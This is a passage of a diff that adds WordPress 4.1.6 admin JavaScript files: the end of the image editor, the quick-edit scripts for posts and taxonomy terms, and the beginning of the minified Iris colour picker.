+					var ratio = false, sel, defRatio;
+
+					if ( e.shiftKey ) {
+						sel = t.iasapi.getSelection();
+						defRatio = t.getSelRatio(postid);
+						ratio = ( sel && sel.width && sel.height ) ? sel.width + ':' + sel.height : defRatio;
+					}
+
+					t.iasapi.setOptions({
+						aspectRatio: ratio
+					});
+				});
+			},
+
+			onSelectStart: function() {
+				imageEdit.setDisabled($('#imgedit-crop-sel-' + postid), 1);
+			},
+
+			onSelectEnd: function(img, c) {
+				imageEdit.setCropSelection(postid, c);
+			},
+
+			onSelectChange: function(img, c) {
+				var sizer = imageEdit.hold.sizer;
+				selW.val( imageEdit.round(c.width / sizer) );
+				selH.val( imageEdit.round(c.height / sizer) );
+			}
+		});
+	},
+
+	setCropSelection : function(postid, c) {
+		var sel;
+
+		c = c || 0;
+
+		if ( !c || ( c.width < 3 && c.height < 3 ) ) {
+			this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 0);
+			this.setDisabled($('#imgedit-crop-sel-' + postid), 0);
+			$('#imgedit-sel-width-' + postid).val('');
+			$('#imgedit-sel-height-' + postid).val('');
+			$('#imgedit-selection-' + postid).val('');
+			return false;
+		}
+
+		sel = { 'x': c.x1, 'y': c.y1, 'w': c.width, 'h': c.height };
+		this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 1);
+		$('#imgedit-selection-' + postid).val( JSON.stringify(sel) );
+	},
+
+	close : function(postid, warn) {
+		warn = warn || false;
+
+		if ( warn && this.notsaved(postid) ) {
+			return false;
+		}
+
+		this.iasapi = {};
+		this.hold = {};
+
+		// If we've loaded the editor in the context of a Media Modal, then switch to the previous view,
+		// whatever that might have been.
+		if ( this._view ){
+			this._view.back();
+		}
+
+		// In case we are not accessing the image editor in the context of a View, close the editor the old-skool way
+		else {
+			$('#image-editor-' + postid).fadeOut('fast', function() {
+				$('#media-head-' + postid).fadeIn('fast');
+				$(this).empty();
+			});
+		}
+
+
+	},
+
+	notsaved : function(postid) {
+		var h = $('#imgedit-history-' + postid).val(),
+			history = ( h !== '' ) ? JSON.parse(h) : [],
+			pop = this.intval( $('#imgedit-undone-' + postid).val() );
+
+		if ( pop < history.length ) {
+			if ( confirm( $('#imgedit-leaving-' + postid).html() ) ) {
+				return false;
+			}
+			return true;
+		}
+		return false;
+	},
+
+	addStep : function(op, postid, nonce) {
+		var t = this, elem = $('#imgedit-history-' + postid),
+		history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [],
+		undone = $('#imgedit-undone-' + postid),
+		pop = t.intval(undone.val());
+
+		while ( pop > 0 ) {
+			history.pop();
+			pop--;
+		}
+		undone.val(0); // reset
+
+		history.push(op);
+		elem.val( JSON.stringify(history) );
+
+		t.refreshEditor(postid, nonce, function() {
+			t.setDisabled($('#image-undo-' + postid), true);
+			t.setDisabled($('#image-redo-' + postid), false);
+		});
+	},
+
+	rotate : function(angle, postid, nonce, t) {
+		if ( $(t).hasClass('disabled') ) {
+			return false;
+		}
+
+		this.addStep({ 'r': { 'r': angle, 'fw': this.hold.h, 'fh': this.hold.w }}, postid, nonce);
+	},
+
+	flip : function (axis, postid, nonce, t) {
+		if ( $(t).hasClass('disabled') ) {
+			return false;
+		}
+
+		this.addStep({ 'f': { 'f': axis, 'fw': this.hold.w, 'fh': this.hold.h }}, postid, nonce);
+	},
+
+	crop : function (postid, nonce, t) {
+		var sel = $('#imgedit-selection-' + postid).val(),
+			w = this.intval( $('#imgedit-sel-width-' + postid).val() ),
+			h = this.intval( $('#imgedit-sel-height-' + postid).val() );
+
+		if ( $(t).hasClass('disabled') || sel === '' ) {
+			return false;
+		}
+
+		sel = JSON.parse(sel);
+		if ( sel.w > 0 && sel.h > 0 && w > 0 && h > 0 ) {
+			sel.fw = w;
+			sel.fh = h;
+			this.addStep({ 'c': sel }, postid, nonce);
+		}
+	},
+
+	undo : function (postid, nonce) {
+		var t = this, button = $('#image-undo-' + postid), elem = $('#imgedit-undone-' + postid),
+			pop = t.intval( elem.val() ) + 1;
+
+		if ( button.hasClass('disabled') ) {
+			return;
+		}
+
+		elem.val(pop);
+		t.refreshEditor(postid, nonce, function() {
+			var elem = $('#imgedit-history-' + postid),
+			history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [];
+
+			t.setDisabled($('#image-redo-' + postid), true);
+			t.setDisabled(button, pop < history.length);
+		});
+	},
+
+	redo : function(postid, nonce) {
+		var t = this, button = $('#image-redo-' + postid), elem = $('#imgedit-undone-' + postid),
+			pop = t.intval( elem.val() ) - 1;
+
+		if ( button.hasClass('disabled') ) {
+			return;
+		}
+
+		elem.val(pop);
+		t.refreshEditor(postid, nonce, function() {
+			t.setDisabled($('#image-undo-' + postid), true);
+			t.setDisabled(button, pop > 0);
+		});
+	},
+
+	setNumSelection : function(postid) {
+		var sel, elX = $('#imgedit-sel-width-' + postid), elY = $('#imgedit-sel-height-' + postid),
+			x = this.intval( elX.val() ), y = this.intval( elY.val() ),
+			img = $('#image-preview-' + postid), imgh = img.height(), imgw = img.width(),
+			sizer = this.hold.sizer, x1, y1, x2, y2, ias = this.iasapi;
+
+		if ( x < 1 ) {
+			elX.val('');
+			return false;
+		}
+
+		if ( y < 1 ) {
+			elY.val('');
+			return false;
+		}
+
+		if ( x && y && ( sel = ias.getSelection() ) ) {
+			x2 = sel.x1 + Math.round( x * sizer );
+			y2 = sel.y1 + Math.round( y * sizer );
+			x1 = sel.x1;
+			y1 = sel.y1;
+
+			if ( x2 > imgw ) {
+				x1 = 0;
+				x2 = imgw;
+				elX.val( Math.round( x2 / sizer ) );
+			}
+
+			if ( y2 > imgh ) {
+				y1 = 0;
+				y2 = imgh;
+				elY.val( Math.round( y2 / sizer ) );
+			}
+
+			ias.setSelection( x1, y1, x2, y2 );
+			ias.update();
+			this.setCropSelection(postid, ias.getSelection());
+		}
+	},
+
+	round : function(num) {
+		var s;
+		num = Math.round(num);
+
+		if ( this.hold.sizer > 0.6 ) {
+			return num;
+		}
+
+		s = num.toString().slice(-1);
+
+		if ( '1' === s ) {
+			return num - 1;
+		} else if ( '9' === s ) {
+			return num + 1;
+		}
+
+		return num;
+	},
+
+	setRatioSelection : function(postid, n, el) {
+		var sel, r, x = this.intval( $('#imgedit-crop-width-' + postid).val() ),
+			y = this.intval( $('#imgedit-crop-height-' + postid).val() ),
+			h = $('#image-preview-' + postid).height();
+
+		if ( !this.intval( $(el).val() ) ) {
+			$(el).val('');
+			return;
+		}
+
+		if ( x && y ) {
+			this.iasapi.setOptions({
+				aspectRatio: x + ':' + y
+			});
+
+			if ( sel = this.iasapi.getSelection(true) ) {
+				r = Math.ceil( sel.y1 + ( ( sel.x2 - sel.x1 ) / ( x / y ) ) );
+
+				if ( r > h ) {
+					r = h;
+					if ( n ) {
+						$('#imgedit-crop-height-' + postid).val('');
+					} else {
+						$('#imgedit-crop-width-' + postid).val('');
+					}
+				}
+
+				this.iasapi.setSelection( sel.x1, sel.y1, sel.x2, r );
+				this.iasapi.update();
+			}
+		}
+	}
+};
+})(jQuery);
Index: /tags/4.1.6/src/wp-admin/js/inline-edit-post.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/inline-edit-post.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/inline-edit-post.js	(revision 33402)
@@ -0,0 +1,359 @@
+/* global inlineEditL10n, ajaxurl, typenow */
+
+var inlineEditPost;
+(function($) {
+inlineEditPost = {
+
+	init : function(){
+		var t = this, qeRow = $('#inline-edit'), bulkRow = $('#bulk-edit');
+
+		t.type = $('table.widefat').hasClass('pages') ? 'page' : 'post';
+		t.what = '#post-';
+
+		// prepare the edit rows
+		qeRow.keyup(function(e){
+			if ( e.which === 27 ) {
+				return inlineEditPost.revert();
+			}
+		});
+		bulkRow.keyup(function(e){
+			if ( e.which === 27 ) {
+				return inlineEditPost.revert();
+			}
+		});
+
+		$('a.cancel', qeRow).click(function(){
+			return inlineEditPost.revert();
+		});
+		$('a.save', qeRow).click(function(){
+			return inlineEditPost.save(this);
+		});
+		$('td', qeRow).keydown(function(e){
+			if ( e.which === 13 ) {
+				return inlineEditPost.save(this);
+			}
+		});
+
+		$('a.cancel', bulkRow).click(function(){
+			return inlineEditPost.revert();
+		});
+
+		$('#inline-edit .inline-edit-private input[value="private"]').click( function(){
+			var pw = $('input.inline-edit-password-input');
+			if ( $(this).prop('checked') ) {
+				pw.val('').prop('disabled', true);
+			} else {
+				pw.prop('disabled', false);
+			}
+		});
+
+		// add events
+		$('#the-list').on('click', 'a.editinline', function(){
+			inlineEditPost.edit(this);
+			return false;
+		});
+
+		$('#bulk-edit').find('fieldset:first').after(
+			$('#inline-edit fieldset.inline-edit-categories').clone()
+		).siblings( 'fieldset:last' ).prepend(
+			$('#inline-edit label.inline-edit-tags').clone()
+		);
+
+		$('select[name="_status"] option[value="future"]', bulkRow).remove();
+
+		$('#doaction, #doaction2').click(function(e){
+			var n = $(this).attr('id').substr(2);
+			if ( 'edit' === $( 'select[name="' + n + '"]' ).val() ) {
+				e.preventDefault();
+				t.setBulk();
+			} else if ( $('form#posts-filter tr.inline-editor').length > 0 ) {
+				t.revert();
+			}
+		});
+	},
+
+	toggle : function(el){
+		var t = this;
+		$( t.what + t.getId( el ) ).css( 'display' ) === 'none' ? t.revert() : t.edit( el );
+	},
+
+	setBulk : function(){
+		var te = '', type = this.type, tax, c = true;
+		this.revert();
+
+		$('#bulk-edit td').attr('colspan', $('.widefat:first thead th:visible').length);
+		$('table.widefat tbody').prepend( $('#bulk-edit') );
+		$('#bulk-edit').addClass('inline-editor').show();
+
+		$( 'tbody th.check-column input[type="checkbox"]' ).each( function() {
+			if ( $(this).prop('checked') ) {
+				c = false;
+				var id = $(this).val(), theTitle;
+				theTitle = $('#inline_'+id+' .post_title').html() || inlineEditL10n.notitle;
+				te += '<div id="ttle'+id+'"><a id="_'+id+'" class="ntdelbutton" title="'+inlineEditL10n.ntdeltitle+'">X</a>'+theTitle+'</div>';
+			}
+		});
+
+		if ( c ) {
+			return this.revert();
+		}
+
+		$('#bulk-titles').html(te);
+		$('#bulk-titles a').click(function(){
+			var id = $(this).attr('id').substr(1);
+
+			$('table.widefat input[value="' + id + '"]').prop('checked', false);
+			$('#ttle'+id).remove();
+		});
+
+		// enable autocomplete for tags
+		if ( 'post' === type ) {
+			// support multi taxonomies?
+			tax = 'post_tag';
+			$('tr.inline-editor textarea[name="tax_input['+tax+']"]').suggest( ajaxurl + '?action=ajax-tag-search&tax=' + tax, { delay: 500, minchars: 2, multiple: true, multipleSep: inlineEditL10n.comma } );
+		}
+		$('html, body').animate( { scrollTop: 0 }, 'fast' );
+	},
+
+	edit : function(id) {
+		var t = this, fields, editRow, rowData, status, pageOpt, pageLevel, nextPage, pageLoop = true, nextLevel, cur_format, f;
+		t.revert();
+
+		if ( typeof(id) === 'object' ) {
+			id = t.getId(id);
+		}
+
+		fields = ['post_title', 'post_name', 'post_author', '_status', 'jj', 'mm', 'aa', 'hh', 'mn', 'ss', 'post_password', 'post_format', 'menu_order'];
+		if ( t.type === 'page' ) {
+			fields.push('post_parent', 'page_template');
+		}
+
+		// add the new blank row
+		editRow = $('#inline-edit').clone(true);
+		$('td', editRow).attr('colspan', $('.widefat:first thead th:visible').length);
+
+		if ( $( t.what + id ).hasClass( 'alternate' ) ) {
+			$(editRow).addClass('alternate');
+		}
+		$(t.what+id).hide().after(editRow);
+
+		// populate the data
+		rowData = $('#inline_'+id);
+		if ( !$(':input[name="post_author"] option[value="' + $('.post_author', rowData).text() + '"]', editRow).val() ) {
+			// author no longer has edit caps, so we need to add them to the list of authors
+			$(':input[name="post_author"]', editRow).prepend('<option value="' + $('.post_author', rowData).text() + '">' + $('#' + t.type + '-' + id + ' .author').text() + '</option>');
+		}
+		if ( $( ':input[name="post_author"] option', editRow ).length === 1 ) {
+			$('label.inline-edit-author', editRow).hide();
+		}
+
+		// hide unsupported formats, but leave the current format alone
+		cur_format = $('.post_format', rowData).text();
+		$('option.unsupported', editRow).each(function() {
+			var $this = $(this);
+			if ( $this.val() !== cur_format ) {
+				$this.remove();
+			}
+		});
+
+		for ( f = 0; f < fields.length; f++ ) {
+			$(':input[name="' + fields[f] + '"]', editRow).val( $('.'+fields[f], rowData).text() );
+		}
+
+		if ( $( '.comment_status', rowData ).text() === 'open' ) {
+			$( 'input[name="comment_status"]', editRow ).prop( 'checked', true );
+		}
+		if ( $( '.ping_status', rowData ).text() === 'open' ) {
+			$( 'input[name="ping_status"]', editRow ).prop( 'checked', true );
+		}
+		if ( $( '.sticky', rowData ).text() === 'sticky' ) {
+			$( 'input[name="sticky"]', editRow ).prop( 'checked', true );
+		}
+
+		// hierarchical taxonomies
+		$('.post_category', rowData).each(function(){
+			var taxname,
+				term_ids = $(this).text();
+
+			if ( term_ids ) {
+				taxname = $(this).attr('id').replace('_'+id, '');
+				$('ul.'+taxname+'-checklist :checkbox', editRow).val(term_ids.split(','));
+			}
+		});
+
+		//flat taxonomies
+		$('.tags_input', rowData).each(function(){
+			var terms = $(this).text(),
+				taxname = $(this).attr('id').replace('_' + id, ''),
+				textarea = $('textarea.tax_input_' + taxname, editRow),
+				comma = inlineEditL10n.comma;
+
+			if ( terms ) {
+				if ( ',' !== comma ) {
+					terms = terms.replace(/,/g, comma);
+				}
+				textarea.val(terms);
+			}
+
+			textarea.suggest( ajaxurl + '?action=ajax-tag-search&tax=' + taxname, { delay: 500, minchars: 2, multiple: true, multipleSep: inlineEditL10n.comma } );
+		});
+
+		// handle the post status
+		status = $('._status', rowData).text();
+		if ( 'future' !== status ) {
+			$('select[name="_status"] option[value="future"]', editRow).remove();
+		}
+
+		if ( 'private' === status ) {
+			$('input[name="keep_private"]', editRow).prop('checked', true);
+			$('input.inline-edit-password-input').val('').prop('disabled', true);
+		}
+
+		// remove the current page and children from the parent dropdown
+		pageOpt = $('select[name="post_parent"] option[value="' + id + '"]', editRow);
+		if ( pageOpt.length > 0 ) {
+			pageLevel = pageOpt[0].className.split('-')[1];
+			nextPage = pageOpt;
+			while ( pageLoop ) {
+				nextPage = nextPage.next('option');
+				if ( nextPage.length === 0 ) {
+					break;
+				}
+
+				nextLevel = nextPage[0].className.split('-')[1];
+
+				if ( nextLevel <= pageLevel ) {
+					pageLoop = false;
+				} else {
+					nextPage.remove();
+					nextPage = pageOpt;
+				}
+			}
+			pageOpt.remove();
+		}
+
+		$(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show();
+		$('.ptitle', editRow).focus();
+
+		return false;
+	},
+
+	save : function(id) {
+		var params, fields, page = $('.post_status_page').val() || '';
+
+		if ( typeof(id) === 'object' ) {
+			id = this.getId(id);
+		}
+
+		$('table.widefat .spinner').show();
+
+		params = {
+			action: 'inline-save',
+			post_type: typenow,
+			post_ID: id,
+			edit_date: 'true',
+			post_status: page
+		};
+
+		fields = $('#edit-'+id).find(':input').serialize();
+		params = fields + '&' + $.param(params);
+
+		// make ajax request
+		$.post( ajaxurl, params,
+			function(r) {
+				$('table.widefat .spinner').hide();
+
+				if (r) {
+					if ( -1 !== r.indexOf( '<tr' ) ) {
+						$(inlineEditPost.what+id).remove();
+						$('#edit-'+id).before(r).remove();
+						$(inlineEditPost.what+id).hide().fadeIn();
+					} else {
+						r = r.replace( /<.[^<>]*?>/g, '' );
+						$('#edit-'+id+' .inline-edit-save .error').html(r).show();
+					}
+				} else {
+					$('#edit-'+id+' .inline-edit-save .error').html(inlineEditL10n.error).show();
+				}
+
+				if ( $('#post-'+id).prev().hasClass('alternate') ) {
+					$('#post-'+id).removeClass('alternate');
+				}
+			},
+		'html');
+		return false;
+	},
+
+	revert : function(){
+		var id = $('table.widefat tr.inline-editor').attr('id');
+
+		if ( id ) {
+			$('table.widefat .spinner').hide();
+
+			if ( 'bulk-edit' === id ) {
+				$('table.widefat #bulk-edit').removeClass('inline-editor').hide();
+				$('#bulk-titles').html('');
+				$('#inlineedit').append( $('#bulk-edit') );
+			} else {
+				$('#'+id).remove();
+				id = id.substr( id.lastIndexOf('-') + 1 );
+				$(this.what+id).show();
+			}
+		}
+
+		return false;
+	},
+
+	getId : function(o) {
+		var id = $(o).closest('tr').attr('id'),
+			parts = id.split('-');
+		return parts[parts.length - 1];
+	}
+};
+
+$( document ).ready( function(){ inlineEditPost.init(); } );
+
+// Show/hide locks on posts
+$( document ).on( 'heartbeat-tick.wp-check-locked-posts', function( e, data ) {
+	var locked = data['wp-check-locked-posts'] || {};
+
+	$('#the-list tr').each( function(i, el) {
+		var key = el.id, row = $(el), lock_data, avatar;
+
+		if ( locked.hasOwnProperty( key ) ) {
+			if ( ! row.hasClass('wp-locked') ) {
+				lock_data = locked[key];
+				row.find('.column-title .locked-text').text( lock_data.text );
+				row.find('.check-column checkbox').prop('checked', false);
+
+				if ( lock_data.avatar_src ) {
+					avatar = $('<img class="avatar avatar-18 photo" width="18" height="18" />').attr( 'src', lock_data.avatar_src.replace(/&amp;/g, '&') );
+					row.find('.column-title .locked-avatar').empty().append( avatar );
+				}
+				row.addClass('wp-locked');
+			}
+		} else if ( row.hasClass('wp-locked') ) {
+			// Make room for the CSS animation
+			row.removeClass('wp-locked').delay(1000).find('.locked-info span').empty();
+		}
+	});
+}).on( 'heartbeat-send.wp-check-locked-posts', function( e, data ) {
+	var check = [];
+
+	$('#the-list tr').each( function(i, el) {
+		if ( el.id ) {
+			check.push( el.id );
+		}
+	});
+
+	if ( check.length ) {
+		data['wp-check-locked-posts'] = check;
+	}
+}).ready( function() {
+	// Set the heartbeat interval to 15 sec.
+	if ( typeof wp !== 'undefined' && wp.heartbeat ) {
+		wp.heartbeat.interval( 15 );
+	}
+});
+
+}(jQuery));
Index: /tags/4.1.6/src/wp-admin/js/inline-edit-tax.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/inline-edit-tax.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/inline-edit-tax.js	(revision 33402)
@@ -0,0 +1,142 @@
+/* global inlineEditL10n, ajaxurl */
+
+var inlineEditTax;
+(function($) {
+inlineEditTax = {
+
+	init : function() {
+		var t = this, row = $('#inline-edit');
+
+		t.type = $('#the-list').attr('data-wp-lists').substr(5);
+		t.what = '#'+t.type+'-';
+
+		$('#the-list').on('click', 'a.editinline', function(){
+			inlineEditTax.edit(this);
+			return false;
+		});
+
+		// prepare the edit row
+		row.keyup( function( e ) {
+			if ( e.which === 27 ) {
+				return inlineEditTax.revert();
+			}
+		});
+
+		$( 'a.cancel', row ).click( function() {
+			return inlineEditTax.revert();
+		});
+		$( 'a.save', row ).click( function() {
+			return inlineEditTax.save(this);
+		});
+		$( 'input, select', row ).keydown( function( e ) {
+			if ( e.which === 13 ) {
+				return inlineEditTax.save( this );
+			}
+		});
+
+		$( '#posts-filter input[type="submit"]' ).mousedown( function() {
+			t.revert();
+		});
+	},
+
+	toggle : function(el) {
+		var t = this;
+		$(t.what+t.getId(el)).css('display') === 'none' ? t.revert() : t.edit(el);
+	},
+
+	edit : function(id) {
+		var editRow, rowData,
+			t = this;
+		t.revert();
+
+		if ( typeof(id) === 'object' ) {
+			id = t.getId(id);
+		}
+
+		editRow = $('#inline-edit').clone(true), rowData = $('#inline_'+id);
+		$('td', editRow).attr('colspan', $('.widefat:first thead th:visible').length);
+
+		if ( $( t.what + id ).hasClass( 'alternate' ) ) {
+			$(editRow).addClass('alternate');
+		}
+
+		$(t.what+id).hide().after(editRow);
+
+		$(':input[name="name"]', editRow).val( $('.name', rowData).text() );
+		$(':input[name="slug"]', editRow).val( $('.slug', rowData).text() );
+
+		$(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show();
+		$('.ptitle', editRow).eq(0).focus();
+
+		return false;
+	},
+
+	save : function(id) {
+		var params, fields, tax = $('input[name="taxonomy"]').val() || '';
+
+		if( typeof(id) === 'object' ) {
+			id = this.getId(id);
+		}
+
+		$('table.widefat .spinner').show();
+
+		params = {
+			action: 'inline-save-tax',
+			tax_type: this.type,
+			tax_ID: id,
+			taxonomy: tax
+		};
+
+		fields = $('#edit-'+id).find(':input').serialize();
+		params = fields + '&' + $.param(params);
+
+		// make ajax request
+		$.post( ajaxurl, params,
+			function(r) {
+				var row, new_id;
+				$('table.widefat .spinner').hide();
+
+				if (r) {
+					if ( -1 !== r.indexOf( '<tr' ) ) {
+						$(inlineEditTax.what+id).remove();
+						new_id = $(r).attr('id');
+
+						$('#edit-'+id).before(r).remove();
+						row = new_id ? $('#'+new_id) : $(inlineEditTax.what+id);
+						row.hide().fadeIn();
+					} else {
+						$('#edit-'+id+' .inline-edit-save .error').html(r).show();
+					}
+				} else {
+					$('#edit-'+id+' .inline-edit-save .error').html(inlineEditL10n.error).show();
+				}
+
+				if ( $( row ).prev( 'tr' ).hasClass( 'alternate' ) ) {
+					$(row).removeClass('alternate');
+				}
+			}
+		);
+		return false;
+	},
+
+	revert : function() {
+		var id = $('table.widefat tr.inline-editor').attr('id');
+
+		if ( id ) {
+			$('table.widefat .spinner').hide();
+			$('#'+id).remove();
+			id = id.substr( id.lastIndexOf('-') + 1 );
+			$(this.what+id).show();
+		}
+
+		return false;
+	},
+
+	getId : function(o) {
+		var id = o.tagName === 'TR' ? o.id : $(o).parents('tr').attr('id'), parts = id.split('-');
+		return parts[parts.length - 1];
+	}
+};
+
+$(document).ready(function(){inlineEditTax.init();});
+})(jQuery);
Index: /tags/4.1.6/src/wp-admin/js/iris.min.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/iris.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/iris.min.js	(revision 33402)
@@ -0,0 +1,4 @@
+/*! Iris Color Picker - v1.0.7 - 2014-11-28
+* https://github.com/Automattic/Iris
+* Copyright (c) 2014 Matt Wiebe; Licensed GPLv2 */
+!function(a,b){function c(){var b,c,d="backgroundImage";j?k="filter":(b=a('<div id="iris-gradtest" />'),c="linear-gradient(top,#fff,#000)",a.each(l,function(a,e){return b.css(d,e+c),b.css(d).match("gradient")?(k=a,!1):void 0}),k===!1&&(b.css("background","-webkit-gradient(linear,0% 0%,0% 100%,from(#fff),to(#000))"),b.css(d).match("gradient")&&(k="webkit")),b.remove())}function d(b,c){return b="top"===b?"top":"left",c=a.isArray(c)?c:Array.prototype.slice.call(arguments,1),"webkit"===k?f(b,c):l[k]+"linear-gradient("+b+", "+c.join(", ")+")"}function e(b,c){var d,e,f,h,i,j,k,l,m;b="top"===b?"top":"left",c=a.isArray(c)?c:Array.prototype.slice.call(arguments,1),d="top"===b?0:1,e=a(this),f=c.length-1,h="filter",i=1===d?"left":"top",j=1===d?"right":"bottom",k=1===d?"height":"width",l='<div class="iris-ie-gradient-shim" style="position:absolute;'+k+":100%;"+i+":%start%;"+j+":%end%;"+h+':%filter%;" data-color:"%color%"></div>',m="","static"===e.css("position")&&e.css({position:"relative"}),c=g(c),a.each(c,function(a,b){var e,g,h;return a===f?!1:(e=c[a+1],b.stop!==e.stop&&(g=100-parseFloat(e.stop)+"%",b.octoHex=new Color(b.color).toIEOctoHex(),e.octoHex=new Color(e.color).toIEOctoHex(),h="progid:DXImageTransform.Microsoft.Gradient(GradientType="+d+", StartColorStr='"+b.octoHex+"', EndColorStr='"+e.octoHex+"')",m+=l.replace("%start%",b.stop).replace("%end%",g).replace("%filter%",h)),void 0)}),e.find(".iris-ie-gradient-shim").remove(),a(m).prependTo(e)}function f(b,c){var d=[];return b="top"===b?"0% 0%,0% 100%,":"0% 100%,100% 100%,",c=g(c),a.each(c,function(a,b){d.push("color-stop("+parseFloat(b.stop)/100+", "+b.color+")")}),"-webkit-gradient(linear,"+b+d.join(",")+")"}function g(b){var c=[],d=[],e=[],f=b.length-1;return a.each(b,function(a,b){var e=b,f=!1,g=b.match(/1?[0-9]{1,2}%$/);g&&(e=b.replace(/\s?1?[0-9]{1,2}%$/,""),f=g.shift()),c.push(e),d.push(f)}),d[0]===!1&&(d[0]="0%"),d[f]===!1&&(d[f]="100%"),d=h(d),a.each(d,function(a){e[a]={color:c[a],stop:d[a]}}),e}function h(b){var c,d,e,f,g=0,i=b.length-1,j=0,k=!1;if(b.length<=2||a.inArray(!1,b)<0)return b;for(;j<b.length-1;)k||b[j]!==!1?k&&b[j]!==!1&&(i=j,j=b.length):(g=j-1,k=!0),j++;for(d=i-g,f=parseInt(b[g].replace("%"),10),c=(parseFloat(b[i].replace("%"))-f)/d,j=g+1,e=1;i>j;)b[j]=f+e*c+"%",e++,j++;return h(b)}var i,j,k,l,m,n,o,p,q;return i='<div class="iris-picker"><div class="iris-picker-inner"><div class="iris-square"><a class="iris-square-value" href="#"><span class="iris-square-handle ui-slider-handle"></span></a><div class="iris-square-inner iris-square-horiz"></div><div class="iris-square-inner iris-square-vert"></div></div><div class="iris-slider iris-strip"><div class="iris-slider-offset"></div></div></div></div>',m='.iris-picker{display:block;position:relative}.iris-picker,.iris-picker *{-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input+.iris-picker{margin-top:4px}.iris-error{background-color:#ffafaf}.iris-border{border-radius:3px;border:1px solid #aaa;width:200px;background-color:#fff}.iris-picker-inner{position:absolute;top:0;right:0;left:0;bottom:0}.iris-border .iris-picker-inner{top:10px;right:10px;left:10px;bottom:10px}.iris-picker .iris-square-inner{position:absolute;left:0;right:0;top:0;bottom:0}.iris-picker .iris-square,.iris-picker .iris-slider,.iris-picker .iris-square-inner,.iris-picker .iris-palette{border-radius:3px;box-shadow:inset 0 0 5px rgba(0,0,0,.4);height:100%;width:12.5%;float:left;margin-right:5%}.iris-picker .iris-square{width:76%;margin-right:10%;position:relative}.iris-picker .iris-square-inner{width:auto;margin:0}.iris-ie-9 .iris-square,.iris-ie-9 .iris-slider,.iris-ie-9 .iris-square-inner,.iris-ie-9 .iris-palette{box-shadow:none;border-radius:0}.iris-ie-9 .iris-square,.iris-ie-9 .iris-slider,.iris-ie-9 .iris-palette{outline:1px solid rgba(0,0,0,.1)}.iris-ie-lt9 .iris-square,.iris-ie-lt9 .iris-slider,.iris-ie-lt9 .iris-square-inner,.iris-ie-lt9 .iris-palette{outline:1px solid #aaa}.iris-ie-lt9 .iris-square .ui-slider-handle{outline:1px solid #aaa;background-color:#fff;-ms-filter:"alpha(Opacity=30)"}.iris-ie-lt9 .iris-square .iris-square-handle{background:0;border:3px solid #fff;-ms-filter:"alpha(Opacity=50)"}.iris-picker .iris-strip{margin-right:0;position:relative}.iris-picker .iris-strip .ui-slider-handle{position:absolute;background:0;margin:0;right:-3px;left:-3px;border:4px solid #aaa;border-width:4px 3px;width:auto;height:6px;border-radius:4px;box-shadow:0 1px 2px rgba(0,0,0,.2);opacity:.9;z-index:5;cursor:ns-resize}.iris-strip .ui-slider-handle:before{content:" ";position:absolute;left:-2px;right:-2px;top:-3px;bottom:-3px;border:2px solid #fff;border-radius:3px}.iris-picker .iris-slider-offset{position:absolute;top:11px;left:0;right:0;bottom:-3px;width:auto;height:auto;background:transparent;border:0;border-radius:0}.iris-picker .iris-square-handle{background:transparent;border:5px solid #aaa;border-radius:50%;border-color:rgba(128,128,128,.5);box-shadow:none;width:12px;height:12px;position:absolute;left:-10px;top:-10px;cursor:move;opacity:1;z-index:10}.iris-picker .ui-state-focus .iris-square-handle{opacity:.8}.iris-picker .iris-square-handle:hover{border-color:#999}.iris-picker .iris-square-value:focus .iris-square-handle{box-shadow:0 0 2px rgba(0,0,0,.75);opacity:.8}.iris-picker .iris-square-handle:hover::after{border-color:#fff}.iris-picker .iris-square-handle::after{position:absolute;bottom:-4px;right:-4px;left:-4px;top:-4px;border:3px solid #f9f9f9;border-color:rgba(255,255,255,.8);border-radius:50%;content:" "}.iris-picker .iris-square-value{width:8px;height:8px;position:absolute}.iris-ie-lt9 .iris-square-value,.iris-mozilla .iris-square-value{width:1px;height:1px}.iris-palette-container{position:absolute;bottom:0;left:0;margin:0;padding:0}.iris-border .iris-palette-container{left:10px;bottom:10px}.iris-picker .iris-palette{margin:0;cursor:pointer}.iris-square-handle,.ui-slider-handle{border:0;outline:0}',o=navigator.userAgent.toLowerCase(),p="Microsoft Internet Explorer"===navigator.appName,q=p?parseFloat(o.match(/msie ([0-9]{1,}[\.0-9]{0,})/)[1]):0,j=p&&10>q,k=!1,l=["-moz-","-webkit-","-o-","-ms-"],j&&7>=q?(a.fn.iris=a.noop,a.support.iris=!1,void 0):(a.support.iris=!0,a.fn.gradient=function(){var b=arguments;return this.each(function(){j?e.apply(this,b):a(this).css("backgroundImage",d.apply(this,b))})},a.fn.raninbowGradient=function(b,c){var d,e,f,g;for(b=b||"top",d=a.extend({},{s:100,l:50},c),e="hsl(%h%,"+d.s+"%,"+d.l+"%)",f=0,g=[];360>=f;)g.push(e.replace("%h%",f)),f+=30;return this.each(function(){a(this).gradient(b,g)})},n={options:{color:!1,mode:"hsl",controls:{horiz:"s",vert:"l",strip:"h"},hide:!0,border:!0,target:!1,width:200,palettes:!1},_color:"",_palettes:["#000","#fff","#d33","#d93","#ee2","#81d742","#1e73be","#8224e3"],_inited:!1,_defaultHSLControls:{horiz:"s",vert:"l",strip:"h"},_defaultHSVControls:{horiz:"h",vert:"v",strip:"s"},_scale:{h:360,s:100,l:100,v:100},_create:function(){var b=this,d=b.element,e=b.options.color||d.val();k===!1&&c(),d.is("input")?(b.picker=b.options.target?a(i).appendTo(b.options.target):a(i).insertAfter(d),b._addInputListeners(d)):(d.append(i),b.picker=d.find(".iris-picker")),p?9===q?b.picker.addClass("iris-ie-9"):8>=q&&b.picker.addClass("iris-ie-lt9"):o.indexOf("compatible")<0&&o.indexOf("khtml")<0&&o.match(/mozilla/)&&b.picker.addClass("iris-mozilla"),b.options.palettes&&b._addPalettes(),b._color=new 